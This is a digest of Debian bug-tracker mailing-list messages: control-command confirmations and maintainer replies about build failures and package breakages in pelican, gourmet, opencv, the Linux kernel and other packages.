Processed: Re: pelican: FTBFS: AttributeError: 'Sphinx' object has no attribute 'add_stylesheet'

[Debian Bug Tracking System]

Processing control commands:

> tag -1 upstream fixed-upstream
Bug #997376 [src:pelican] pelican: FTBFS: AttributeError: 'Sphinx' object has 
no attribute 'add_stylesheet'
Added tag(s) fixed-upstream and upstream.

-- 
997376: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997376
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Set right versions

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> reopen 996407
Bug #996407 {Done: Nilesh Patra } [src:diamond-aligner, 
src:proteinortho] diamond-aligner breaks proteinortho autopkgtest: diamond 
failed with code 256
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions proteinortho/6.0.31+dfsg-2.
> fixed 996407 diamond-aligner/2.0.12-1
Bug #996407 [src:diamond-aligner, src:proteinortho] diamond-aligner breaks 
proteinortho autopkgtest: diamond failed with code 256
Marked as fixed in versions diamond-aligner/2.0.12-1.
> fixed 996407 proteinortho/6.0.31+dfsg-2
Bug #996407 [src:diamond-aligner, src:proteinortho] diamond-aligner breaks 
proteinortho autopkgtest: diamond failed with code 256
Marked as fixed in versions proteinortho/6.0.31+dfsg-2.
> close 996407
Bug #996407 [src:diamond-aligner, src:proteinortho] diamond-aligner breaks 
proteinortho autopkgtest: diamond failed with code 256
Marked Bug as done
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
996407: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996407
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#998161: gourmet: Fails to run with sqlalchemy 1.4.23, due to removal of FromClause.count()

[Christian Marillat]

On 31 oct. 2021 07:56, Itaï BEN YAACOV  wrote:

> Package: gourmet
> Version: 1.0.1-2
> Severity: grave
> Tags: upstream
> Justification: renders package unusable
>
> Dear Maintainer,

Hi,

> gourmet fails to run with python3-sqlalchemy v 1.4.23 (in sid).
> Reason : removal of FromClause.count() (which was already deprecated in v 
> 1.3).
> This is an upstream problem, of course. A quick look in 

This bug has been fixed in gourmand the new name for gourmet.

The new gourmand package is waiting ftpmaster approval to be moved from
new to unstable.

Christian

Processed: Re: Bug#996557: linux-image-5.14.0-3-686-pae-unsigned: just about every sse2 program crashes with a SIGFPE

[Debian Bug Tracking System]

Processing control commands:

> tags -1 + moreinfo
Bug #996557 [src:linux] linux-image-5.14.0-3-686-pae-unsigned: just about every 
sse2 program crashes with a SIGFPE
Added tag(s) moreinfo.

-- 
996557: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996557
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#996557: linux-image-5.14.0-3-686-pae-unsigned: just about every sse2 program crashes with a SIGFPE

[Salvatore Bonaccorso]

Control: tags -1 + moreinfo

Hi

On Fri, Oct 15, 2021 at 02:52:17PM +0200, Jiri Palecek wrote:
> Package: src:linux
> Version: 5.14.12-1
> Severity: serious
> X-Debbugs-Cc: Jiri Palecek 
> 
> Dear Maintainer,
> 
> when I booted my system with the latest kernel from unstable, many of
> the applications didn't work. That includes plasmashell (so I couldn't
> log in into plasma) and chromium.
> 
> I ran xterm (which worked) and some of these failing programs under gdb
> and found they all tripped on some sse2 instructions with a
> SIGFPE. However, all the programs work under the kernel from
> linux-image-5.14.0-2-.

This is interesting as looking at the commits between 5.14.9 and
5.14.12 there does not seem to be much related. As pointed out by Ben
offlist, the only plausible commit in this area might be 0723d4f8b179d
"x86/fpu: Restore the masking out of reserved MXCSR bits".

Can you thus please: Verify the issue is still present in 5.14.15 and
furthermore try to bisect the commit which introduces the problem for
you. In particular check if the 0723d4f8b179d commit is the culprit.

Regards,
Salvatore

Bug#998141: opencv breaks auto-multiple-choice autopkgtest

[Alexis Bienvenüe]

Hi.

Than you for your report.

After rebuilding auto-multiple-choice from the same 1.5.1-2 sources in
a sid environment, it passes the autopkgtest.
Maybe this is related to this issue, where it is said that OpenCV 4.x
releases don't guarantee ABI compatibility:
https://github.com/opencv/opencv/issues/20878

Regards,
Alexis.

Bug#998161: gourmet: Fails to run with sqlalchemy 1.4.23, due to removal of FromClause.count()

[Itaï BEN YAACOV]

Package: gourmet
Version: 1.0.1-2
Severity: grave
Tags: upstream
Justification: renders package unusable

Dear Maintainer,

gourmet fails to run with python3-sqlalchemy v 1.4.23 (in sid).
Reason : removal of FromClause.count() (which was already deprecated in v 1.3).
This is an upstream problem, of course. A quick look in 

https://github.com/kirienko/gourmet/tree/master/src/gourmet

suggests this has not yet been corrected.

Cheers,
Itaï



-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable
  APT policy: (600, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.14.0-3-amd64 (SMP w/12 CPU threads)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gourmet depends on:
ii  gir1.2-gtk-3.0   3.24.30-3
ii  python3  3.9.2-3
ii  python3-argcomplete  1.12.3-0.1
ii  python3-bs4  4.10.0-2
ii  python3-gi   3.42.0-1+b1
ii  python3-gst-1.0  1.18.5-1
ii  python3-lxml 4.6.3+dfsg-1
ii  python3-pil  8.3.2-1
ii  python3-reportlab3.6.1-1
ii  python3-requests 2.25.1+dfsg-2
ii  python3-sqlalchemy   1.4.23+ds1-2
ii  python3-toml 0.10.2-1

Versions of packages gourmet recommends:
pn  kpython3-gtkspellcheck  
pn  python3-pyglet  

Versions of packages gourmet suggests:
pn  python3-ebooklib  

-- no debconf information

Processed: tagging 995600

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 995600 + pending
Bug #995600 [src:omega-rpg] FTBFS: error: format not a string literal and no 
format arguments
Added tag(s) pending.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
995600: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=995600
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: tagging 995480

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 995480 + pending
Bug #995480 [src:ytree] FTBFS: error: format not a string literal and no format 
arguments
Added tag(s) pending.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
995480: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=995480
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems